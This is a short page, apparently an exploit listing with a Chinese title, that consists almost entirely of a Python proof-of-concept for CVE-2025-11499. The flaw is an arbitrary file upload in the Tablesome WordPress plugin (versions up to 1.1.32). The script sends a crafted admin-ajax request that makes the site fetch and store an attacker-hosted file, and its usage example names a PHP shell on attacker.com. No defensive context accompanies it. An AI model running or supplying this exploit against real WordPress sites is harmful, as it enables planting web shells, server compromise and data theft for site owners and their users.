CVE-2025-11499: Tablesome WordPress插件任意文件上传漏洞

import requests import sys # CVE-2025-11499 PoC - Arbitrary File Upload in Tablesome WordPress Plugin # Target: WordPress site with Tablesome plugin <= 1.1.32 def exploit(target_url, attacker_file_url): """ Exploit the arbitrary file upload vulnerability in Tablesome plugin. Args: target_url: Base URL of the vulnerable WordPress site attacker_file_url: URL of the malicious file to upload Note: Requires a workflow trigger to be created and external URL feature enabled """ # Endpoint for setting featured image from external URL endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request data = { 'action': 'tablesome_set_featured_image', 'image_url': attacker_file_url, 'post_id': 1 # May vary depending on configuration } try: response = requests.post(endpoint, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text}") # If successful, the malicious file will be uploaded to /wp-content/uploads/ return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-11499.py <target_url> <malicious_file_url>") print("Example: python cve-2025-11499.py http://example.com http://attacker.com/shell.php") sys.exit(1) target = sys.argv[1] malicious_file = sys.argv[2] exploit(target, malicious_file)